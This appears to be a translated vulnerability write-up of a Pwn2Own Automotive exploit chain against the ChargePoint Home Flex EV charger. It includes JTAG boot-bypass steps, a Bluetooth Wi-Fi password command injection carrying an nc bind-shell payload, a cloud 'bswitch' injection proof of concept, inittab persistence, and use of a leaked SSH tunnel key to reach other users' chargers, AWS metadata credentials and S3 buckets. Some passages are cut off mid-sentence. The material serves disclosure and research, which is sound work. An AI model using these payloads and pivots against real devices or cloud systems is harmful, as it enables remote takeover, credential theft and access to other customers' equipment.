以下是在2024 Automotive Pwn2Own 对 ChargePoint Home Flex上进行的研究工作,包括发现的漏洞以及开发的攻击手段。最终能够仅通过蓝牙连接在这款充电桩上容易命令执行。
Background
对于ChargePoint来说,最困难的部分是获得这个设备。它在亚马逊上有售,并支持国际运输。但交付日期一直被推迟。我们很幸运,首次就发现了漏洞。整个“研究”过程只用了大约三十分钟。
不幸的是,在Pwn2Own的抽签中,我们在这款充电桩的所有七支参赛队伍中被排到最后一个。有了这样一个浅显的漏洞,我们注定会遇到重复漏洞的问题。因此,我们决定加大努力寻找更好的漏洞链!我们熬夜,尽管因时差和夜生活而感到睡眠不足,就像在CTF比赛中一样,最终在上台前的最后一刻找到了全新的漏洞链。在这个过程中,我们还发现了一些能够让我们完全接管ChargePoint云端基础设施的漏洞……有些尴尬。关于这一点稍后再说,现在让我们从最初的分析和漏洞链开始。
Obtaining the firmware
我们参考了卡巴斯基的研究人员Dmitry Sklyar之前对这款特定设备的研究作为起点,特别是JTAG引脚布局的信息非常有用。
ChargePoint具有一个串行接口,从中我们可以推断出该设备使用U-Boot并运行Linux系统。然而,U-Boot配置为自动启动,并且我们找不到可以用来登录控制台的有效凭证。Dmitry利用JTAG来转储固件,然后在Linux中修补密码验证功能。我们采取了一个类似但略有不同的方法。我们利用JTAG禁用了自动启动。这样我们就可以进入单用户模式,并向系统添加新的用户。
我们使用了以下OpenOCD配置来实现JTAG的功能:
$ cat ft232h.cfg
adapter driver ftdi
adapter speed 30000
transport select jtag
ftdi_vid_pid 0x0403 0x6014
ftdi_tdo_sample_edge falling
ftdi_layout_init 0x0308 0x000b
ftdi_layout_signal nTRST -data 0x0100 -oe 0x0100
ftdi_layout_signal nSRST -data 0x0200 -oe 0x0200
$ cat target.cfg
reset_config srst_only
adapter srst delay 100
adapter srst pulse_width 500
if { [info exists CHIPNAME] } {
set AT91_CHIPNAME $CHIPNAME
} else {
set AT91_CHIPNAME at91sam9n12
}
if { [info exists AT91_CHIPNAME] } {
set _CHIPNAME $AT91_CHIPNAME
} else {
error "you must specify a chip name"
}
if { [info exists ENDIAN] } {
set _ENDIAN $ENDIAN
} else {
set _ENDIAN little
}
if { [info exists CPUTAPID] } {
set _CPUTAPID $CPUTAPID
} else {
set _CPUTAPID 0x0792603f
}
jtag newtap $_CHIPNAME cpu -irlen 4 -ircapture 0x1 -irmask 0xf -expected-id $_CPUTAPID
set _TARGETNAME $_CHIPNAME.cpu
target create $_TARGETNAME arm926ejs -endian $_ENDIAN -chain-position $_TARGETNAME
$ sudo openocd -f ft232h.cfg -f target.cfg -c 'init' -c 'halt'
set arm force-mode arm
target extended-remote localhost:3333
hbreak *0x90
continue
delete 1
stepi
break *0x26f13e7c
continue
delete 2
set $r5=1
set $pc=0x27f7ce80
continue
setenv bootargs "root=ubi0:rfs ubi.mtd=10 rw rootfstype=ubifs console=ttyS0,115200 mem=128M init=/bin/sh mfg_mode=false"
boot
充电桩方便地默认启用了telnetd服务。这意味着我们可以使用新创建的账户(以及一个被赋予setuid权限的shell)登录并获取固件。
Our first vulnerability (CVE-2024-23921)
我们的初始漏洞非常直接,我们就直接在这里披露:在通过蓝牙配置充电桩时,Wi-Fi密码字段存在命令注入漏洞……充电桩甚至自带了一个支持
nc -e /bin/sh
的工具。这是我们,因此整个过程耗时不到三十分钟。
让我们更详细地看一下这个问题。Dmitry已经发现了在配置充电桩时的一个漏洞。当通过蓝牙配置新的Wi-Fi网络时,密码会被复制到固定大小的栈缓冲区中,从而导致经典的缓冲区溢出问题。这听起来像是一个很有希望的开端:显然这个向量之前就是易受攻击的,并且对攻击者来说没有其他先决条件(除了需要在蓝牙范围内)。还有,蓝牙连接不需要认证?
二进制文件 /usr/bin/onboardee 处理所有传入的蓝牙数据包。处理蓝牙GATT属性写入的主要处理器叫做 cpble_server_handle_write_event()。充电桩广播多个服务和特性,主要是为了配置Wi-Fi设置。当应用新的配置时,它会调用 obSendWiFiInfotoWlanapp(),该函数使用某种进程间通信(IPC)机制来发送新的配置信息。IPC消息似乎有一个标识符,对于这个特定的消息,它的标识符是 CT_EVENT_OB_WLANAPP_CONNECT 或者 0x3a9d(十进制15005)。
查看接收这条消息的对象,我们发现是二进制文件 /usr/bin/wlanapp。这个二进制文件似乎处理大部分Wi-Fi配置管理和连接性。main() 函数接收并调度传入的IPC消息。我们关注的特定消息由 wlnProcessObConenctMsg() 处理,该函数调用 wlnApplySupplicantConfChange()。这个函数负责创建和写入一个新的 wpa_supplicant 配置文件。为了构造这个文件的内容,它会调用 wlnSupplicantWriteVarConfg()。根据通过IPC接收到的配置,它会填充 wpa_supplicant 所需的字段。这些字段之一是 psk,应该包含WPA配置中的预共享密钥(PSK)。这个字段要么包含纯文本密码,要么可以通过使用如 wpa_passphrase 这样的工具预先计算成PSK条目。
ChargePoint选择了后者,也许是因为他们不想在设备上存储纯文本密码:
int __fastcall wlnSupplicantWriteVarConfg(FILE *a1, struct_a2 *a2, int a3)
{
...
snprintf(
command,
0x100u,
"/usr/sbin/wpa_passphrase \"%s\" \"%s\" | grep \"psk=\" | tail -1 | cut -c6-",
&a2->ssid,
&a2->password);
v14 = popen(command, "r")
...
}
"; /usr/bin/nc -l -p 1337 -e /bin/sh ; #"
我们就能在设备上获得一个shell:
$ nc 10.10.107.86 1337
id
uid=0(root) gid=0(root)
uname -a
Linux cs_0024b100000b442e 3.10.0 #1 Fri Apr 22 05:35:04 UTC 2022 armv5tejl GNU/Linux
Playing Pwn2Own as a CTF
Intercepting the cloud communication (CVE-2024-23970)
/opt/etc/coul/cps.conf
中有这样的配置设定,这个配置被 /usr/bin/cpsrelay
使用,该程序管理WebSocket连接:VerifyHostName=1
这看起来对应于curl的 CURLOPT_SSL_VERIFYHOST=1
设置。我们可以理解为什么这种配置选项很容易让人忽视,因为它很容易让人误操作。结果,这个选项在curl的后续版本中进行了修改。人们可能会认为这是一个布尔值,其中1表示启用主机名验证,0表示禁用它。但实际上这是一个整数值,其中0表示禁用验证,而2则按预期进行验证。1是一个介于两者之间的奇怪值,它使得curl不会验证域名,但会进行一些额外的日志记录。curl的开发者意识到这是一个错误,因此自从curl版本7.66.0起,值1和2被视为相同。幸运的是,ChargePoint使用的libcurl版本为7.35,该版本发布于2014年1月29日。
所以域名不会被检查,但证书必须由受信任的CA签名。ChargePoint的云服务器使用了一个由它们自己的CA签名的证书。让我们看看是否能找到一个证书(及其对应的私钥),这个证书是由与云服务器相同的CA签名的。幸运的是,设备上恰好就有我们需要的这样的证书 :)。WebSocket连接也受到客户端证书的保护,因此设备上需要存储一个证书和密钥。在我们拥有的各种文件系统转储中快速搜索,我们很快在BoardConfig-A分区上找到了一个这样的证书。
$ strings /dev/mtdblock5 | grep -- -----
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
Finding a bug in the message handling (CVE-2024-23971)
[
2,
"1706198695",
"DataTransfer",
{
"vendorId": "ChargePoint",
"data":"saddr|1|3508|0024B100000B442E|1706198695|0|1|1706198695|home charger-eu.chargepoint.com:443/ws-prod/panda/v1"
},
"0024B100000B442E"
]
cpsrelay
接收所有消息,但它仅仅使用与我们在 onboardee
中看到的相同的IPC机制来分发这些消息。这是基于命令标识符来进行的(例如上面示例中的3508)。查看各种端点时,我们注意到大多数处理程序都存在缓冲区溢出问题。但由于我们在东京并且需要远程测试位于荷兰的设备,我们认为缓冲区溢出可能不是最佳选择。如果设备崩溃并需要重启,我们必须打电话给某人,请他们去办公室手动重启设备。因此,我们决定寻找命令注入漏洞。bswitch
命令中找到了一个命令注入漏洞。这个命令似乎是为了切换不同的启动分区而设计的。这个命令由 /usr/bin/mcp
处理,在 RouteToFsmInstance()
函数中:void __fastcall RouteToFsmInstance(int a1, int a2) {
...
if (command_id == (int *)701) {
v91 = (unsigned __int8)payload[136];
v92 = (char *)s;
strcpy((char *)s, "NA");
if (v91)
v92 = payload + 136;
cmd = payload + 36;
CTLogWhere(5, "RouteToFsmInstance", 4105, 0x4000, "\n**** Executing BOOTCONTROL cmd %s\n", cmd);
v94 = strstr(cmd, "reboot");
type = "reboot";
if (!v94)
type = "bankswitch";
recordReboot(v92, type, (int)"NOC", 0, 1);
system(cmd);
}
...
}
system()
函数。我们还没有观察到来自真实云端的这个命令,所以我们不太清楚它在实践中是如何正常使用的。不过,这是我们最初用来测试假设的PoC:bswitch|1|701|0024B100000B442E|0|1|1706198695|touch /tmp/pwned|bswitch
RouteToFsmInstance()
函数超过5800行长,并解析多种不同的IPC消息。这只是众多似乎最终解析来自云端的消息的二进制文件之一。我们最终是通过查看处理传入IPC消息的二进制文件,并交叉参照对 system()
的调用,直到找到可能由我们控制的东西。Exploitation
recordReboot
函数会启动重启。但在Linux上重启需要一点时间,因此我们可以在重启处理过程中运行新的命令。无论我们使用什么作为有效载荷,它必须是快速的并且持久存在的。有效载荷的最大长度为100字节。/etc/inittab
添加了一个服务:echo "::respawn:/usr/bin/nc -l -p 1337 -e /bin/sh" >> /etc/inittab
使用未认证的蓝牙端点重新配置Wi-Fi,使其连接到我们的网络。 拦截云端通信,并发出 bswitch
命令。等待设备重启。 成功!
But wait, there is more!
/etc/init.d/sshrevtunnel.sh
启动。这个脚本太大,不能在这里全部列出,但相关的部分如下所示:#!/bin/sh
# Bring up pinned up reverse tunnel to mothership. Try forever, but back off
# connection attempts to keep from wasting resources. Peg the retry time at
# some max and keep trying.
...
SERIAL_NUM=`cat /var/config/cs_sn`
SN_YEAR=`echo $SERIAL_NUM | head -c 2`
BASE_SERVER_PORT=20000
BASE_SERIAL=0
SERIAL_MODULO=10000
SERIAL_MINOR=`expr $SERIAL_NUM % $SERIAL_MODULO`
REVPORT=`expr $SERIAL_MINOR - $BASE_SERIAL`
REVPORT=`expr $REVPORT + $BASE_SERVER_PORT`
#FOR QA server please uncomment this line
#REVSYSTEM="pandagateway.ev-chargepoint.com"
REVSYSTEM="ba79k2rx5jru.chargepoint.com"
REVSYSTEMPORT="-p 343"
REVHOST="pandart@$REVSYSTEM"
REVHOST_2016="pandart@xiuq0o4yl57c.chargepoint.com"
#For 2017
REVHOST_2017="pandart@xiuq0o4yl57c2017.chargepoint.com"
...
while true; do
...
# Connect to the appropriate server based on the year code in the serial number.
if [ "$SN_YEAR" = "17" ]; then
# Connect to the 2017 server.
#printf "---> Connecting to 2017 server: $REVHOST_2017\n"
$LOG "attempting connection to $REVHOST_2017"
ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" $REVSYSTEMPORT -N -T -R $REVPORT:localhost:23 $REVHOST_2017 &
elif [ "$SN_YEAR" = "16" ]; then
# Connect to the 2016 server.
#printf "---> Connecting to 2016 server: $REVHOST_2016\n"
$LOG "attempting connection to $REVHOST_2016"
ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" $REVSYSTEMPORT -N -T -R $REVPORT:localhost:23 $REVHOST_2016 &
else
# Connect to the legacy server.
#printf "---> Connecting to legacy server: $REVHOST\n"
$LOG "attempting connection to $REVHOST"
ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" $REVSYSTEMPORT -N -T -R $REVPORT:localhost:23 $REVHOST &
fi
...
done
...
ssh -p 343 -N -T -R $REVPORT:localhost:23 pandart@ba79k2rx5jru.chargepoint.com
$ ssh -p 343 -N -T -L -i id_rsa 1337:google.com:80 pandart@xiuq0o4yl57c2017.chargepoint.com
$ curl -I -H "Host: google.com" http://localhost:1337/
HTTP/1.1 301 Moved Permanently
Location: http://www.google.com/
Content-Type: text/html; charset=UTF-8
Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-elUlvIzfzVhli9gWi11mIg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp
Date: Thu, 25 Jan 2024 20:14:01 GMT
Expires: Sat, 24 Feb 2024 20:14:01 GMT
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 219
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
成功了!好吧,代理到Google挺有意思的,但我们能否也创建一个隧道到其他用户的充电桩呢?让我们尝试转发到本地主机和一个随机端口,希望这个端口被另一个连接到“母舰”的充电桩使用:
$ ssh -p 343 -N -T -L -i id_rsa 1337:localhost:24395 pandart@xiuq0o4yl57c2017.chargepoint.com
$ telnet localhost 24395
telnet localhost 24395
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
cs_0021a100000b5621 login:
$ ssh -p 343 -N -T -i id_rsa -L 1337:169.254.169.254:80 pandart@xiuq0o4yl57c2017.chargepoint.com
$ curl http://localhost:1337/latest/meta-data/iam/security-credentials/cp-prod-ota-servers-role
{
"Code" : "Success",
"LastUpdated" : "2024-01-25T20:21:21Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "...",
"SecretAccessKey" : "...",
"Token" : "...",
"Expiration" : "2024-01-26T02:28:42Z"
}
嗯,这看起来不太好……让我们看看是否可以用这个密钥访问一些内容;比如S3存储桶?
$ aws s3 ls
2020-03-27 16:17:02 aws-athena-query-results-022521842517-ca-central-1
2019-07-17 19:23:19 aws-athena-query-results-022521842517-eu-central-1
2020-06-26 07:15:33 aws-athena-query-results-022521842517-us-west-2
...
$ aws s3 ls s3://cp-prod-syd-nos-sftp --human-readable --summarize
PRE bmw_incoming/
PRE coned_incoming/
PRE evgo_incoming/
PRE fulfillment_incoming/
PRE voyager_incoming/
PRE wex_incoming/
Total Objects: 0
Total Size: 0 Bytes